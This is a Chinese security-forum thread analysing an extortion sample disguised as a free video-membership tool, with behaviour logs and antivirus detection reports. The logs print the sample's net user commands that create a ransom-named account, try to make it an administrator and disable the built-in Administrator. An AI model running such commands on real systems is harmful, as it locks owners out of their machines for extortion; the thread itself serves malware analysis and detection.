一个非常2的敲竹杠样本…………

zhou0197

样本：

行为：
2014-6-19 14:27:33    创建新进程    允许
进程: c:\windows\explorer.exe
目标: c:\documents and settings\zhou\桌面\一键领取好莱坞会员与卡永久\一键领取好莱坞会员与卡永久.exe
命令行: "C:\Documents and Settings\zhou\桌面\一键领取好莱坞会员与卡永久\一键领取好莱坞会员与卡永久.exe"
规则: [应用程序]*

2014-6-19 14:27:41    创建新进程    允许
进程: c:\documents and settings\zhou\桌面\一键领取好莱坞会员与卡永久\一键领取好莱坞会员与卡永久.exe
目标: c:\windows\system32\net.exe
命令行: net user 要密码加Q766443113 1997118 /add
规则: [应用程序]*

2014-6-19 14:27:43    创建新进程    允许
进程: c:\windows\system32\net.exe
目标: c:\windows\system32\conime.exe
命令行: C:\WINDOWS\system32\conime.exe
规则: [应用程序]*

2014-6-19 14:27:46    创建新进程    允许
进程: c:\documents and settings\zhou\桌面\一键领取好莱坞会员与卡永久\一键领取好莱坞会员与卡永久.exe
目标: c:\windows\system32\net.exe
命令行: net user 要密码加Q766443113/active:yes
规则: [应用程序]*

2014-6-19 14:27:57    创建新进程    允许
进程: c:\windows\system32\net.exe
目标: c:\windows\system32\conime.exe
命令行: C:\WINDOWS\system32\conime.exe
规则: [应用程序]*

2014-6-19 14:28:03    创建新进程    允许
进程: c:\documents and settings\zhou\桌面\一键领取好莱坞会员与卡永久\一键领取好莱坞会员与卡永久.exe
目标: c:\windows\system32\net.exe
命令行: net loaclgroup administrators要密码加Q766443113/add
规则: [应用程序]*

2014-6-19 14:28:04    创建新进程    允许
进程: c:\windows\system32\net.exe
目标: c:\windows\system32\conime.exe
命令行: C:\WINDOWS\system32\conime.exe
规则: [应用程序]*

2014-6-19 14:28:15    创建新进程    允许
进程: c:\documents and settings\zhou\桌面\一键领取好莱坞会员与卡永久\一键领取好莱坞会员与卡永久.exe
目标: c:\windows\system32\net.exe
命令行: net user administrator /active:no
规则: [应用程序]*

2014-6-19 14:28:19    创建新进程    允许
进程: c:\windows\system32\net.exe
目标: c:\windows\system32\conime.exe
命令行: C:\WINDOWS\system32\conime.exe
规则: [应用程序]*

2014-6-19 14:28:22    注销、关机或重新启动系统    阻止
进程: c:\documents and settings\zhou\桌面\一键领取好莱坞会员与卡永久\一键领取好莱坞会员与卡永久.exe
规则: [应用程序]*


无语了………………是local啊…………local…………   空格都去哪里了？？


犯二的结果，直接导致原有管理员账户被禁用，新建的账户只是受限账户，权限不够…………

话说除了进PE给管理员账户解锁以外，还有其他简单易行的办法不？

挥泪斩情思

to dr.web

545853507

360秒了

cn86li

To BD

ticket number is 2014061908480001

The file has been signed. Detection will be available with the next update.

File exe declared INFECTED

jayavira

avast kill

Qutianshang

密码能用吗  1997118  这个

zhou0197

Qutianshang 发表于 2014-6-19 16:55
密码能用吗  1997118  这个

可以啊…………

星猫

文件名: 一键领取好莱坞会员与卡永久.exe
威胁名称: SONAR.Heuristic.120
完整路径: 不可用

____________________________



详细信息
极少用户信任的文件,  极新的文件,  风险 高





原始
下载自
 https://att.kafan.cn/forum.php?mo ... DYyMjUxNHwxNzQ4NzA5





活动
已执行的操作: 4



____________________________



在电脑上的创建时间 
2014/6/19 ( 17:00:09 )


上次使用时间 
2014/6/19 ( 17:00:09 )


启动项目 
否


已启动 
是


____________________________


极少用户信任的文件
诺顿社区中有 不到 5 名用户使用了此文件。

极新的文件
该文件已在 不到 1 周 前发行。

高
此文件具有高风险。

SONAR 主动防护监视电脑上的可疑程序活动。



____________________________


https://att.kafan.cn/forum.php?mo ... DYyMjUxNHwxNzQ4NzA5

已下载文件 一键领取好莱坞会员与卡永久.exe 威胁名称: SONAR.Heuristic.120
自 att.kafan.cn

来源: 外部介质




winrar.exe










创建的文件:
一键领取好莱坞会员与卡永久.exe




____________________________

文件操作

文件: c:\users\zwh\downloads\一键领取好莱坞会员与卡永久\ 一键领取好莱坞会员与卡永久.exe 已删除
____________________________

系统设置操作

事件: 浏览器进程启动 (执行者 c:\users\zwh\downloads\一键领取好莱坞会员与卡永久\一键领取好莱坞会员与卡永久.exe, PID:5316) 未采取操作
事件: 进程启动: c:\Windows\SysWOW64\ net.exe, PID:3880 (执行者 c:\users\zwh\downloads\一键领取好莱坞会员与卡永久\一键领取好莱坞会员与卡永久.exe, PID:5316) 未采取操作
____________________________

可疑操作

(执行者 c:\users\zwh\downloads\一键领取好莱坞会员与卡永久\一键领取好莱坞会员与卡永久.exe, PID:5316) 未采取操作
____________________________


文件指纹 - SHA:
不可用
文件指纹 - MD5:
不可用

瓜g

时间	事件	结果	附加信息
2014/6/19 16:59	系统内核加固	阻止一键领取好莱坞会员与卡永久.exe	规则ID：131268623 防护类型：系统关机（应该也包括重启）  进程：C:\Users\123\Desktop\一键领取好莱坞会员与卡永久.exe 目标进程：
2014/6/19 16:59	系统内核加固	阻止一键领取好莱坞会员与卡永久.exe	规则ID：131270912 防护类型：打开 进程：C:\Users\123\Desktop\一键领取好莱坞会员与卡永久.exe  文件路径：C:\Windows\System32\net.exe

Qutianshang

zhou0197 发表于 2014-6-19 16:59
可以啊…………

里面居然没有权限操作，这个真是高手